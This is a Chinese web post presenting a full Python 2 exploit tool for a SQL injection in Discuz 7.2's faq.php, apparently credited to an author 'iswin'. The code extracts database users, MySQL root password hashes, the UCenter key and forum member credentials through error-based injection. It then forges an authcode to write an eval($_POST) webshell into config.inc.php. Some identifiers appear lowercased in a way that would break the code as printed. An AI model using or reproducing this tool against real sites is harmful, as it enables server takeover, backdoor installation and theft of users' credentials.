Python写的Discuz7.2版faq.php注入漏洞工具

discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据，python 版的uc_key getshell部分的代码来自网上(感谢作者)

实现代码:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: gb2312 -*-
# -*- coding: utf_8 -*- 
# author iswin 
import sys
import hashlib
import time
import math
import base64
import urllib2 
import urllib
import re

def sendrequest(url,para):
	try:
		data = urllib.urlencode(para)
		req=urllib2.request(url,data)
		res=urllib2.urlopen(req,timeout=20).read()
	except exception, e:
		print 'exploit failed!\n%s'%(e)
		exit(0);
	return res

def gettableprefix(url):
	print 'start gettableprefix...'
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendrequest(url,para);
	pre=re.findall("duplicate entry '(.*?)'",res);
	if len(pre)==0:
		print 'exploit failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].decode('hex')
	table_pre=table_pre[0:table_pre.index('_')]
	print 'table_pre:%s'%(table_pre)
	return table_pre

def getcurrentuser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendrequest(url,para)
	pre=re.findall("duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'exploit failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1]
	print 'current user:%s'%(table_pre)
	return table_pre

def getuckey(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendrequest(url,para);
	res1=sendrequest(url,para1);
	key1=re.findall("duplicate entry '(.*?)'",res)
	key2=re.findall("duplicate entry '(.*?)'",res1)
	if len(key1)==0:
		print 'get uc_key failed!'
		return ''
	key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
	print 'uc_key:%s'%(key)
	return key

def getrootuser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendrequest(url,para);
	pre=re.findall("duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'exploit failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].split(' ')
	print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpdata(url,table_prefix,count):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
	res=sendrequest(url,para);
	datas=re.findall("duplicate entry '(.*?)'",res)
	if len(datas)==0:
		print 'exploit failed!'
		exit(0)
	cleandata=datas[0][:len(datas[0])-1]
	info=cleandata.split(' ')
	print 'user:%s pass:%s'%(info[0],info[1])

def microtime(get_as_float = false) :
  if get_as_float:
    return time.time()
  else:
    return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
  ckey_length = 4
  key = hashlib.md5(key).hexdigest()
  keya = hashlib.md5(key[0:16]).hexdigest()
  keyb = hashlib.md5(key[16:32]).hexdigest()
  keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
  cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 
  key_length = len(cryptkey)
  string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
  string_length = len(string)
  result = ''
  box = range(0, 256)
  rndkey = dict()
  for i in range(0,256):
    rndkey[i] = ord(cryptkey[i % key_length])
  j=0
  for i in range(0,256):
    j = (j + box[i] + rndkey[i]) % 256
    tmp = box[i]
    box[i] = box[j]
    box[j] = tmp
  a=0
  j=0
  for i in range(0,string_length):
    a = (a + 1) % 256
    j = (j + box[a]) % 256
    tmp = box[a]
    box[a] = box[j]
    box[j] = tmp
    result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
  return keyc + base64.b64encode(result).replace('=', '')
 
def get_shell(url,key,host):
  headers={'accept-language':'zh-cn',
  'content-type':'application/x-www-form-urlencoded',
  'user-agent':'mozilla/4.0 (compatible; msie 6.00; windows nt 5.1; sv1)',
  'referer':url
  }
  tm = time.time()+10*3600
  tm="time=%d&action=updateapps" %tm
  code = urllib.quote(get_authcode(tm,key))
  url=url+"?code="+code
  data1='''<?xml version="1.0" encoding="iso-8859-1"?>
      <root>
      <item id="uc_api">http://xxx\');eval($_post[3]);//</item>
      </root>'''
  try:
    req=urllib2.request(url,data=data1,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "exploit falied"
  data2='''<?xml version="1.0" encoding="iso-8859-1"?>
      <root>
      <item id="uc_api">http://aaa</item>
      </root>'''
  try:
    req=urllib2.request(url,data=data2,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "error"

  try:
  	req=urllib2.request(host+'/config.inc.php')
  	res=urllib2.urlopen(req,timeout=20).read()
  except exception, e:
  	print 'getwebshell failed,%s'%(e)
   	return
  print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':
	print 'dz7.x exp code by iswin'
	if len(sys.argv)<3:
		print 'dz7.x exp code by iswin\nusage:python dz7.py //www.jb51.net 10'
		exit(0)
	url=sys.argv[1]+'/faq.php'
	count=int(sys.argv[2])
	user=getcurrentuser(url)
	if user.startswith('root@'):
		getrootuser(url)
	uc_key=getuckey(url)
	if len(uc_key)==64:
		print 'start getwebshell...'
		get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
	tb_pre=gettableprefix(url)
	print 'start dumpdata...'
	for x in xrange(0,count):
		dumpdata(url,tb_pre,x)